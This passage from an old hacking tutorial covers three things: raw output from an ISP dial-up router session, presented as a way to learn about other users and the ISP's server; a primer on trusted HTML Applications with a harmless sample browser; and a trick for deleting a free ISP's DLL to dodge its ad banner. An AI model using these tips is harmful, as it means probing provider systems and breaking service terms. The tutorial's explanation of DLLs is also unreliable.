  3908. * 1/50  00:12:10    1370    345      0      0       0        4     109     
  3909. 79%
  3910. * 1/51  00:12:00    1375    319      0      0       0        2     117     
  3911. 81%
  3912. * 1/52  00:11:41    1390    322      0      0       0        0      98     
  3913. 81%
  3914.   1/53  00:12:49    1330    330      0      0       0        0      98     
  3915. 80%
  3916.   1/54  00:11:35    1396    327      0      0       0        2      92     
  3917. 81%
  3918. * 1/55  00:12:43    1354    301      0      0       0        1      83     
  3919. 81%
  3920.   1/56  00:11:31    1379    341      0      0       0        1     109     
  3921. 80%
  3922.   1/57  00:12:00    1369    324      0      0       0        2      96     
  3923. 80%
  3924.   1/58  00:12:03    1342    361      0      0       0        0     103     
  3925. 78%
  3926.   1/59  00:12:17    1305    349      0      0       0        1     101     
  3927. 78%
  3928. * 2/0   00:12:11    1337    362      0      0       0        0     107     
  3929. 78%
  3930.   2/1   00:14:01    1251    322      0      0       0        2      98     
  3931. 79%
  3932.   2/2   00:12:34    1328    322      0      0       0        0     109     
  3933. 80%
  3934.   2/3   00:12:24    1358    318      0      0       0        0     105     
  3935. 81%
  3936.   2/4   00:12:24    1356    309      0      0       0        0      97     
  3937. 81%
  3938.   2/5   00:10:14    1451    344      0      0       0        1     103     
  3939. 80%
  3940.   2/6   00:12:18    1333    340      0      0       0        0     105     
  3941. 79%
  3942. --More--                           * 2/7   00:12:35    1333    335      0    
  3943.    0       0        0     108     79%
  3944.   2/8   00:11:17    1427    346      0      0       0        1     129     
  3945. 80%
  3946. * 2/9   00:12:07    1361    299      0      0       0        0      95     
  3947. 81%
  3948.   2/10  00:10:47    1407    370      0      0       0        0      98     
  3949. 79%
  3950.   2/11  00:11:07    1409    333      0      0       0        2     102     
  3951. 80%
  3952.   2/12  00:10:51    1444    323      0      0       0        2     110     
  3953. 81%
  3954. * 2/13  00:10:11    1393    406      0      0       0        3     115     
  3955. 77%
  3956.   2/14  00:12:31    1228    315      0      0       0        2     110     
  3957. 79%
  3958.   2/15  00:10:41    1405    361      0      0       0        0     113     
  3959. 79%
  3960.   2/16  00:12:44    1357    295      0      0       0        0      87     
  3961. 82%
  3962. * 2/17  00:11:15    1362    355      0      0       0        1     102     
  3963. 79%
  3964.   2/18  00:11:30    1363    343      0      0       0        1     105     
  3965. 79%
  3966.   2/19  00:11:49    1349    350      0      0       0        1     110     
  3967. 79%
  3968. * 2/20  00:11:40    1341    347      0      0       0        3     102     
  3969. 79%
  3970.   2/21  00:11:40    1374    341      0      0       0        2      98     
  3971. 80%
  3972.   2/22  00:11:41    1378    329      0      0       0        0     101     
  3973. 80%
  3974.   2/23  00:12:35    1335    322      0      0       0        0     100     
  3975. 80%
  3976.   2/24  00:12:33    1353    309      0      0       0        1      91     
  3977. 81%
  3978.   2/25  00:11:36    1371    330      0      0       0        3     106     
  3979. 80%
  3980. * 2/26  00:11:18    1403    332      0      0       0        1     107     
  3981. 80%
  3982. * 2/27  00:11:56    1349    350      0      0       0        0     115     
  3983. 79%
  3984. * 2/28  00:10:41    1421    340      0      0       0        0     110     
  3985. 80%
  3986.   2/29  00:11:49    1352    326      0      0       0        0     116     
  3987. 80%
  3988. --More--                           * 2/30  00:10:21    1446    353      0    
  3989.    0       0        1     120     80%
  3990.   2/31  00:11:33     853    219      0      0       0        0      69     
  3991. 79%
  3992.   2/32  00:12:09    1361    339      0      0       0        0     101     
  3993. 80%
  3994.   2/33  00:11:20    1388    346      0      0       0        1     113     
  3995. 80%
  3996.   2/34  00:12:27    1340    312      0      0       0        0     106     
  3997. 81%
  3998.   2/35  00:12:02    1348    340      0      0       0        3     101     
  3999. 79%
  4000.   2/36  00:11:18    1368    349      0      0       0        4     111     
  4001. 79%
  4002.   2/37  00:12:21    1346    320      0      0       0        2     116     
  4003. 80%
  4004.   2/38  00:11:59    1377    330      0      0       0        1     108     
  4005. 80%
  4006.   2/39  00:11:53    1406    303      0      0       0        0      98     
  4007. 82%
  4008. * 2/40  00:12:39    1340    335      0      0       0        1      97     
  4009. 80%
  4010.   2/41  00:11:20    1386    352      0      0       0        0     113     
  4011. 79%
  4012. * 2/42  00:11:06    1384    351      0      0       0        2     111     
  4013. 79%
  4014. * 2/43  00:12:15    1359    331      0      0       0        0     107     
  4015. 80%
  4016.   2/44  00:12:04    1365    331      0      0       0        1      95     
  4017. 80%
  4018.   2/45  00:11:04    1411    316      0      0       0        1      93     
  4019. 81%
  4020. * 2/46  00:12:02    1338    349      0      0       0        2      97     
  4021. 79%
  4022.   2/47  00:11:30    1396    345      0      0       0        0      91     
  4023. 80%
  4024. * 2/48  00:11:04    1406    338      0      0       0        3     108     
  4025. 80%
  4026. * 2/49  00:11:42    1368    349      0      0       0        0     114     
  4027. 79%
  4028.   2/50  00:12:09    1329    339      0      0       0        2     112     
  4029. 79%
  4030. * 2/51  00:11:56    1341    335      0      0       0        1     107     
  4031. 80%
  4032. * 2/52  00:10:42    1376    372      0      0       0        4     110     
  4033. 78%
  4034. --More--                             2/53  00:12:28    1309    345      0    
  4035.    0       0        1     122     79%
  4036. * 2/54  00:13:29    1315    295      0      0       0        1      90     
  4037. 81%
  4038.   2/55  00:11:22    1379    363      0      0       0        2     114     
  4039. 79%
  4040. * 2/56  00:13:40    1264    335      0      0       0        2      90     
  4041. 79%
  4042.   2/57  00:11:03    1367    367      0      0       0        1     128     
  4043. 78%
  4044.   2/58  00:10:58    1382    360      0      0       0        1     103     
  4045. 79%
  4046. * 2/59  00:12:11    1372    313      0      0       0        3      88     
  4047. 81%
  4048. Total:  00:11:45  163207  40377      0      0       6      146   12548     
  4049. 80%
  4050.  
  4051. delhinas4>show clock
  4052.  
  4053. *16:19:42.948 UTC Sun Apr 16 2000
  4054.  
  4055. delhinas4>show terminal
  4056.  
  4057. Line 61, Location: "", Type: ""
  4058. Length: 24 lines, Width: 80 columns
  4059. Status: Ready, Active, No Exit Banner, Modem Detected
  4060. Capabilities: Hardware Flowcontrol In, Hardware Flowcontrol Out
  4061.   Modem Callout, Modem RI is CD, Line usable as async interface
  4062.   Output non-idle, Modem Autoconfigure, Integrated Modem
  4063. Modem state: Ready
  4064.   modem(slot/port)=2/0, state=CONNECTED
  4065.   dsx1(slot/unit/channel)=0/1/20, 
  4066. status=VDEV_STATUS_ACTIVE_CALL.VDEV_STATUS_ALLOCATED.
  4067. Modem hardware state: CTS DSR  DTR RTS, Modem Configured
  4068. Special Chars: Escape  Hold  Stop  Start  Disconnect  Activation
  4069.                 ^^x    none   -     -       none
  4070. Timeouts:      Idle EXEC    Idle Session   Modem Answer  Session   Dispatch
  4071.                00:10:00       00:20:00                       none     not 
  4072. set
  4073. Session idle time reset by output.
  4074.                             Idle Session Disconnect Warning
  4075.                              00:01:00
  4076.                             Login-sequence User Response
  4077.                              00:00:30
  4078.                             Autoselect Initial Wait
  4079.                               not set
  4080. Modem type is new_modemcap3.
  4081. Session limit is not set.
  4082. --More--                           
  4083.  
  4084. delhinas4>show dialer
  4085.  
  4086. Serial0:0 - dialer type = ISDN
  4087. Idle timer (600 secs), Fast idle timer (20 secs)
  4088. Wait for carrier (30 secs), Re-enable (15 secs)
  4089. Dialer state is idle
  4090.  
  4091. Serial0:1 - dialer type = ISDN
  4092. Idle timer (600 secs), Fast idle timer (20 secs)
  4093. Wait for carrier (30 secs), Re-enable (15 secs)
  4094. Dialer state is idle
  4095.  
  4096. Serial0:2 - dialer type = ISDN
  4097. Idle timer (600 secs), Fast idle timer (20 secs)
  4098. Wait for carrier (30 secs), Re-enable (15 secs)
  4099. Dialer state is idle
  4100.  
  4101. Serial0:3 - dialer type = ISDN
  4102. Idle timer (600 secs), Fast idle timer (20 secs)
  4103. Wait for carrier (30 secs), Re-enable (15 secs)
  4104. Dialer state is idle
  4105.  
  4106. Serial0:4 - dialer type = ISDN
  4107. Idle timer (600 secs), Fast idle timer (20 secs)
  4108. --More--                           Wait for carrier (30 secs), Re-enable (15 
  4109. secs)
  4110. Dialer state is idle
  4111.  
  4112. Serial0:5 - dialer type = ISDN
  4113. Idle timer (600 secs), Fast idle timer (20 secs)
  4114. Wait for carrier (30 secs), Re-enable (15 secs)
  4115. Dialer state is idle
  4116.  
  4117. Serial0:6 - dialer type = ISDN
  4118. Idle timer (600 secs), Fast idle timer (20 secs)
  4119. Wait for carrier (30 secs), Re-enable (15 secs)
  4120. Dialer state is idle
  4121.  
  4122. Serial0:7 - dialer type = ISDN
  4123. Idle timer (600 secs), Fast idle timer (20 secs)
  4124. Wait for carrier (30 secs), Re-enable (15 secs)
  4125. Dialer state is idle
  4126.  
  4127. Serial0:8 - dialer type = ISDN
  4128. Idle timer (600 secs), Fast idle timer (20 secs)
  4129. Wait for carrier (30 secs), Re-enable (15 secs)
  4130. Dialer state is idle
  4131.  
  4132. --More--                           Serial0:9 - dialer type = ISDN
  4133. Idle timer (600 secs), Fast idle timer (20 secs)
  4134. Wait for carrier (30 secs), Re-enable (15 secs)
  4135. Dialer state is idle
  4136.  
  4137. Serial0:10 - dialer type = ISDN
  4138. Idle timer (600 secs), Fast idle timer (20 secs)
  4139. Wait for carrier (30 secs), Re-enable (15 secs)
  4140. Dialer state is idle
  4141.  
  4142. Serial0:11 - dialer type = ISDN
  4143. Idle timer (600 secs), Fast idle timer (20 secs)
  4144. Wait for carrier (30 secs), Re-enable (15 secs)
  4145. Dialer state is idle
  4146.  
  4147. Serial0:12 - dialer type = ISDN
  4148. Idle timer (600 secs), Fast idle timer (20 secs)
  4149. Wait for carrier (30 secs), Re-enable (15 secs)
  4150. Dialer state is idle
  4151.  
  4152. Serial0:13 - dialer type = ISDN
  4153. Idle timer (600 secs), Fast idle timer (20 secs)
  4154. Wait for carrier (30 secs), Re-enable (15 secs)
  4155. --More--                           Dialer state is idle
  4156.  
  4157. Serial0:14 - dialer type = ISDN
  4158. Idle timer (600 secs), Fast idle timer (20 secs)
  4159. Wait for carrier (30 secs), Re-enable (15 secs)
  4160. Dialer state is idle
  4161.  
  4162. Serial0:15 - dialer type = ISDN
  4163.  
  4164. Dial String      Successes   Failures    Last called   Last status
  4165. 0 incoming call(s) have been screened.
  4166. 0 incoming call(s) rejected for callback.
  4167.  
  4168. Serial0:16 - dialer type = ISDN
  4169. Idle timer (600 secs), Fast idle timer (20 secs)
  4170. Wait for carrier (30 secs), Re-enable (15 secs)
  4171. Dialer state is idle
  4172.  
  4173. Serial0:17 - dialer type = ISDN
  4174. Idle timer (600 secs), Fast idle timer (20 secs)
  4175. Wait for carrier (30 secs), Re-enable (15 secs)
  4176. Dialer state is idle
  4177.  
  4178. --More--                           Serial0:18 - dialer type = ISDN
  4179. Idle timer (600 secs), Fast idle timer (20 secs)
  4180. Wait for carrier (30 secs), Re-enable (15 secs)
  4181. Dialer state is idle
  4182.  
  4183. Serial0:19 - dialer type = ISDN
  4184. Idle timer (600 secs), Fast idle timer (20 secs)
  4185. Wait for carrier (30 secs), Re-enable (15 secs)
  4186. Dialer state is idle
  4187.  
  4188. Serial0:20 - dialer type = ISDN
  4189. Idle timer (600 secs), Fast idle timer (20 secs)
  4190. Wait for carrier (30 secs), Re-enable (15 secs)
  4191. Dialer state is idle
  4192.  
  4193. Serial0:21 - dialer type = ISDN
  4194. Idle timer (600 secs), Fast idle timer (20 secs)
  4195. Wait for carrier (30 secs), Re-enable (15 secs)
  4196. Dialer state is idle
  4197.  
  4198. Serial0:22 - dialer type = ISDN
  4199. Idle timer (600 secs), Fast idle timer (20 secs)
  4200. Wait for carrier (30 secs), Re-enable (15 secs)
  4201. --More--                           Dialer state is idle
  4202.  
  4203. Serial0:23 - dialer type = ISDN
  4204. Idle timer (600 secs), Fast idle timer (20 secs)
  4205. Wait for carrier (30 secs), Re-enable (15 secs)
  4206. Dialer state is idle
  4207.  
  4208. Serial0:24 - dialer type = ISDN
  4209. Idle timer (600 secs), Fast idle timer (20 secs)
  4210. Wait for carrier (30 secs), Re-enable (15 secs)
  4211. Dialer state is idle
  4212.  
  4213. Serial0:25 - dialer type = ISDN
  4214. Idle timer (600 secs), Fast idle timer (20 secs)
  4215. Wait for carrier (30 secs), Re-enable (15 secs)
  4216. Dialer state is idle
  4217.  
  4218. Serial0:26 - dialer type = ISDN
  4219. Idle timer (600 secs), Fast idle timer (20 secs)
  4220. Wait for carrier (30 secs), Re-enable (15 secs)
  4221. Dialer state is idle
  4222.  
  4223. Serial0:27 - dialer type = ISDN
  4224. --More--                           Idle timer (600 secs), Fast idle timer 
  4225. (20 secs)
  4226. Wait for carrier (30 secs), Re-enable (15 secs)
  4227. Dialer state is idle
  4228.  
  4229. Serial0:28 - dialer type = ISDN
  4230. Idle timer (600 secs), Fast idle timer (20 secs)
  4231. Wait for carrier (30 secs), Re-enable (15 secs)
  4232. Dialer state is idle
  4233.  
  4234. Serial0:29 - dialer type = ISDN
  4235. Idle timer (600 secs), Fast idle timer (20 secs)
  4236. Wait for carrier (30 secs), Re-enable (15 secs)
  4237. Dialer state is idle
  4238.  
  4239. Serial0:30 - dialer type = ISDN
  4240. Idle timer (600 secs), Fast idle timer (20 secs)
  4241. Wait for carrier (30 secs), Re-enable (15 secs)
  4242. Dialer state is idle
  4243.  
  4244. delhinas4>show snmp
  4245. Chassis: 11494401
  4246. 646497 SNMP packets input
  4247.     0 Bad SNMP version errors
  4248.     0 Unknown community name
  4249.     0 Illegal operation for community name supplied
  4250.     1 Encoding errors
  4251.     2402516 Number of requested variables
  4252.     4 Number of altered variables
  4253.     8281 Get-request PDUs
  4254.     638211 Get-next PDUs
  4255.     4 Set-request PDUs
  4256. 918646 SNMP packets output
  4257.     0 Too big errors (Maximum packet size 1500)
  4258.     67 No such name errors
  4259.     0 Bad values errors
  4260.     0 General errors
  4261.     646496 Response PDUs
  4262.     272150 Trap PDUs
  4263.  
  4264. SNMP logging: enabled
  4265.     Logging to 203.xx.243.63.162, 0/10, 270949 sent, 1201 dropped.
  4266.  
  4267. delhinas4>show history(This command displays a list of commands that you 
  4268. have typed since your last login.)
  4269.   show terminal
  4270.   how
  4271.   show tacas
  4272.   show dialer
  4273.   who
  4274.   mstat
  4275.   localhost
  4276.   help
  4277.   where
  4278.   show history
  4279.  
  4280. SO this way you can use the Post Dial Up Screen which I hope you would now 
  4281. call the Router Prompt to get more information on Users and also the Server 
  4282. of your ISP itself.
  4283.  
  4284. Making Your Own Browser (HTML APPLICATIONS)
  4285.  
  4286. I felt that this manual wasn't complete without a mention of HTA 
  4287. Applications.
  4288. HTA Applications are basically HTML Applications which are unfortunately 
  4289. supported only by Internet Explorer 4 and above.An HTA Application is 
  4290. actually a full fledged application.With the development of HTA's Internet 
  4291. Explorer can now be used for creating and distributing full fledged powerful 
  4292. applications over the net.Basically HTA's are a cross between normal .exe 
  4293. files and the web pages that are displayed by Internet Explorer.
  4294.  
  4295. Normally only proper programming languages like C++ or Perl or VisualBasic 
  4296. had the access to system resources, but with the introduction of HTA's, this 
  4297. power now extends to DHTML(Dynamic HyperText MarkUp Language).HTA not only 
  4298. supports everything that a normal webpage supports like, CSS (Cascading 
  4299. Style Sheets),scripting languages,methods behaviours etc, but also gives the 
  4300. developer access to the client's system, an opportunity to control the User 
  4301. Interface of the Application,and many various other aspects which we 
  4302. couldn't control earlier.Best of all, it runs as a  trusted application, 
  4303. which menas it is not tied down with the same security restrictions, normal 
  4304. web pages are subjected to.A HTA behaves like a normal .exe file, with the 
  4305. user being asked once, before the HTA is downloaded, whether to save or run 
  4306. the application; if saved to the client's system,it can be executed anytime 
  4307. later, just like a normal .exe file can be.
  4308.  
  4309. A HTA application is nothing but a .html file saved with a .hta extension 
  4310. name.The only difference between the commands that can be used on a web page 
  4311. and the commands that can be used on a HTA Application are the addition of 
  4312. some new commands which are native to HTA Applications.An HTA Application 
  4313. can be executed by either double-clicking its program icon, or running it 
  4314. from the Start menu, opening it through a URL, or by  starting it from the 
  4315. command line.
  4316.  
  4317. Now before we move on to HTA Specific commands, let's write the mandatory 
  4318. Hello World! Program.This program is just for the formality sake, so that 
  4319. you get the basic idea, as to how a HTA functions and it is Okay even if you 
  4320. do not understand anything yet.Just Copy the following piece of code and 
  4321. save it with any name of your choice, just make sure that
  4322.  
  4323. <HTML>
  4324. <TITLE>My First HTA</title>
  4325. <HEAD>
  4326.    <HTA:APPLICATION >
  4327. </HEAD>
  4328. <BODY SCROLL="yes">
  4329. Hello World!!!
  4330. </BODY>
  4331. </HTML>
  4332.  
  4333.  
  4334. The .hta extension tells the system ,how to handle this particular 
  4335. application.The new HTA:APPLICATION tells the application windows, how to 
  4336. behave as a application.This new tag has many attributes which give us 
  4337. complete control over the function and the Application Windows of our 
  4338. HTA.This new HTA:APPLICATION tag should appear within the HEAD tag and 
  4339. should contain the necesarry attributes which control features of the HTA 
  4340. which are not available in DHTML..Now to understand the HTA specific 
  4341. attributes, lets take the following example:
  4342.  
  4343. <HEAD>
  4344.   <TITLE>My First HTA Application</TITLE>
  4345.   <HTA:APPLICATION ID="htapp"
  4346.     APPLICATIONNAME="My First HTA APP"
  4347.     BORDER="none"
  4348.     CAPTION="yes"
  4349.     ICON="/icon.gif"
  4350.     SHOWINTASKBAR="no"
  4351.     SINGLEINSTANCE="yes"
  4352.     SYSMENU="no"
  4353.     WINDOWSTATE="maximize"
  4354.   >
  4355. </HEAD>
  4356.  
  4357. We conclude the following from the above piece of code:
  4358.  
  4359. 1. When launched the HTA is known to the system as My First HTA 
  4360. APP(Controlled by Applicationname attribute.
  4361. 2. The HTA App does not have a border.(Controlled by Border Attribute.) When 
  4362. border is set to none, neither the window border, program icon, title bar, 
  4363. nor Minimize and Maximize buttons will display.
  4364. 3. The HTA App will have a title bar or a caption bar.(Controlled by Caption 
  4365. Attribute.) When CAPTION is set to no, the Minimize and Maximize buttons, 
  4366. the program icon, and the window border are disabled.
  4367. 4. The Icon which is displayed in Explorer or in the taskbar or in the Title 
  4368. bar will be /icon.gif.(contolled by ICON attribute.)
  4369. 5. The HTA App will not be shown in the taskbar.(Controlled by 
  4370. Showintaskbar.)
  4371. 6. Only a single instance of the app can be launched at a particular 
  4372. time.(Controlled by Singleinstance.)
  4373. 7. It will not have a standard system program icon.(Controlled by Sysmenu.) 
  4374. When sysMenu is set to no, not only the program icon, but also the Minimize 
  4375. and Maximize buttons are disabled.
  4376. 8. The HTA Window will be by default launched maximised.
  4377. 9. The id attribute works the same way, it normally does.
  4378.  
  4379. When the above HTA is run, it shows the text within the <TITLE> tag on the 
  4380. caption bar of tha application, and the code within the <BODY> tag is 
  4381. executed.
  4382.  
  4383. *********************
  4384. Hacking Truth: As HTA's are executed as fully trusted applications, they 
  4385. have the ability to carry out actions which Internet Explorer would never 
  4386. allow a regular web page to perform.HTA's have full permit to manipulate the 
  4387. client machine.It has read.write access to the client machine's files, and 
  4388. also the system registry.The command codes are also supported.They also 
  4389. allow cross domain scripting.
  4390. Not only that, they also allow embedded Java Applets and ActiveX Controls to 
  4391. be run without any warning message irrespective of the security settings of 
  4392. the browser.
  4393.  
  4394. To understand how HTA's security works, read the following excerpt from SBN:
  4395.  
  4396. ------------------SBN--------------
  4397.  
  4398. HTA windows can extend the trust relationship to content in other domains. 
  4399. HTAs allow cross-domain script access between window objects and cookies. To 
  4400. address the security risks inherent in cross-domain scripting, HTA enables 
  4401. the APPLICATION attribute for FRAMEs and IFRAMEs. This HTA-only attribute is 
  4402. not the sole security precaution available. HTAs are designed such that 
  4403. FRAMEs and IFRAMEs, where the APPLICATION attribute is set to no, have no 
  4404. script access to the HTA containing them. In this way, no unsecure content 
  4405. is allowed into an HTA through an untrusted window.
  4406. HTAs are designed such that untrusted HTML FRAMEs and IFRAMEs have no script 
  4407. access to the HTA containing them. In the case of FRAMEs that are not 
  4408. HTA-enabled, the highest level frame comprises the top window for all FRAMEs 
  4409. it contains. For that FRAME, window.top and window.self are one and the 
  4410. same. In addition, unsafe FRAMEs and IFRAMEs receive neither a referrer nor 
  4411. an opener URL from the parent HTA. The end result is that they are unaware 
  4412. of the containing HTA as the parent window.
  4413. In applications where all content is safe, FRAMEs and IFRAMEs can safely be 
  4414. marked as trusted. Wizards and control panels are examples of safe content. 
  4415. The HTA-enabled status of the IFRAME in the example below permits it to pass 
  4416. information back to its parent window.
  4417. <IFRAME SRC="filename.htm" APPLICATION="yes">
  4418. By contrast, an IFRAME that allows browsing to unsecured content must be 
  4419. implemented as regular HTML. Content in the IFRAME example below is subject 
  4420. to the security setting for its zone. The following IFRAME can be used when 
  4421. embedding HTML.
  4422. <IFRAME SRC="filename.htm" APPLICATION="no">
  4423. Note The APPLICATION attribute is ignored if used in HTML rather than HTA.
  4424. When running HTAs, users should take the same precautions as with any 
  4425. executable: Only install HTAs produced by reliable sources. HTAs cannot be 
  4426. code-signed. However, they can be installed from signed cabinet (.cab) files 
  4427. or other signed installation formats. Either way, the most accountable 
  4428. sources will be corporate intranets and established software vendors.
  4429. -------------------------SBN----------------------------------
  4430.  
  4431. So one can see how dangerous from a normal person's viewpoint and how 
  4432. interesting from a hacker's viewpoint, HTA's can be.So basically to save 
  4433. yourself from evil Java Applets disable Java.Also run only those HTA's they 
  4434. are signed or you receive from trusted senders.
  4435.  
  4436. ************************
  4437.  
  4438. The following is the code of a browser that actually is a HTA which I coded 
  4439. in HTML, Javascript.To understand how it was made and to improve the code, 
  4440. you will need basic knowledge of the two.
  4441. This browser is based on the open source concept and anyone can contribute 
  4442. to it's code and improve it's functionality.So all you hardcore programmers, 
  4443. charge your grey cells and conrtibute to the development of this browser.
  4444. All those of you who are new to hacking(programming)please, take my advice 
  4445. and learn atleast two or three programming language.For the time being use 
  4446. the below browser and start enjoying your browsing experience.Simple copy 
  4447. the following into notepad or anyother editor and save it with an extension 
  4448. name of .hta
  4449.  
  4450. <html>
  4451. <head>
  4452.   <TITLE>The Hacking Truths Browser.</TITLE>
  4453.   <HTA:APPLICATION
  4454.     APPLICATIONNAME="The Hacking Truths Browser."
  4455.     ICON="icon_name_here.ico"
  4456.     WINDOWSTATE="normal">
  4457. </head>
  4458.  
  4459. <body>
  4460. <span id=abar
  4461. style="overflow: none">
  4462. <span
  4463. id=AText><b>Address</b></span>
  4464. <input type=text
  4465. value=http://hackingtruths.tripod.com
  4466.        id=URL
  4467.       width="80"
  4468.        style="width: expression(document.body.clientWidth -
  4469.                                 AText.offsetWidth -
  4470.                                 AGo.offsetWidth -85)">
  4471.  
  4472. <input type=button
  4473. value="Go"
  4474.        id=AGo onclick="navigate()"><br>
  4475. <span>
  4476. <br>
  4477. <iframe
  4478. src="http://hackingtruths.tripod.com" id=data
  4479.         style="width:
  4480. 100%; height: 85%"></iframe>
  4481.  
  4482. <script language=JScript>
  4483.  
  4484. function navigate() {
  4485. document.all.data.src = URL.value;
  4486. }
  4487.  
  4488. function clickShortcut() {
  4489.   if (window.event.keyCode == 13) {
  4490.      navigate()
  4491.   }
  4492. }
  4493.  
  4494.  
  4495. URL.onkeypress =
  4496. clickShortcut;
  4497.  
  4498. </script>
  4499. <br>Coded By: <b>Ankit Fadia</b> ankit@bol.net.in<br>Visit us at: <a 
  4500. href="http://hackingtruths.tripod.com">http://hackingtruths.tripod.com/a>
  4501. </body>
  4502. </html>
  4503.  
  4504. Removing Banners From Free ISP Services
  4505.  
  4506. There are many new Internet Service Providers which give absolutely free Internet access, of course you do need to pay for the telephone bill. These free ISP's make money by the advertisements that they display in the form of a banner which covers a part of your screen each time you connect to the Internet.
  4507.  
  4508. Well, these banners are quite a nuisance as they clog bandwidth and slow down our Internet Connection. The advertisements displayed by them, share your modem to load. Wanna learn how to remove this bar and still access the net for free? Well read on.
  4509.  
  4510. The answer to this hack lies in some kewl files called Dynamic Link Libraries. First lets see what .dll files are used for. Dynamic Link Libraries is basically a collection of commands or data which control how a program looks. Take the example of Microsoft Office. Now whenever you launch it, the main .exe file reads the .dll file associated with it and accordingly displays the toolbars.[NOTE: Almost all Windows applications use the same .dll file to display say the Title Bar]. So basically we can conclude that .dll files are most commonly used to change the way applications look.
  4511.  
  4512. Now the good thing about Dynamic Libraries is that they can be loaded or unloaded when a particular program has stopped using it. This is done to save resources or memory. They can also be shared at the same time by various applications.
  4513.  
  4514. Now before we go on to the hack let's learn how these free ISP's work.
  4515. When you click on the Connect button, the Modem dials into the FREE ISP and tries to connect. Before the connection is fully established, the FREE ISP software checks to see if the .dll file associated with exists or not. If yes, then it connects and a banner pops up. On the other hand, if the .dll file does not exist then the FREE ISP Software refuses to connect. So what you need to do in order to surf for free without the irritating Banner ads, first connect to the FREE ISP's server, and once the connection has been established (screeching sound stops), delete the .dll file associated with it. It is that simple. The only thing you need to know is which .dll file to delete. 
  4516.  
  4517. To find out the .dll files associated with your FREE ISP Software, install the software on a clean machine (where the same software has not been installed earlier). Then using the FIND tool (START >Find) locate all Dynamic Link Libraries (*.dll)which have been created or modifies during the last one day(Under the Date Modified Tab). This will be foolproof only if no other software has been installed during the last 24 hours.
  4518.  
  4519. Ankit Fadia
  4520. ankit@bol.net.in
  4521.  
  4522. To receive more tutorials on Hacking, Perl, C++ and Viruses/Trojans join my 
  4523. mailing list:
  4524.  
  4525. Send an email to programmingforhackers-subscribe@egroups.com to join it.
  4526.  
  4527.  
  4528.  
  4529.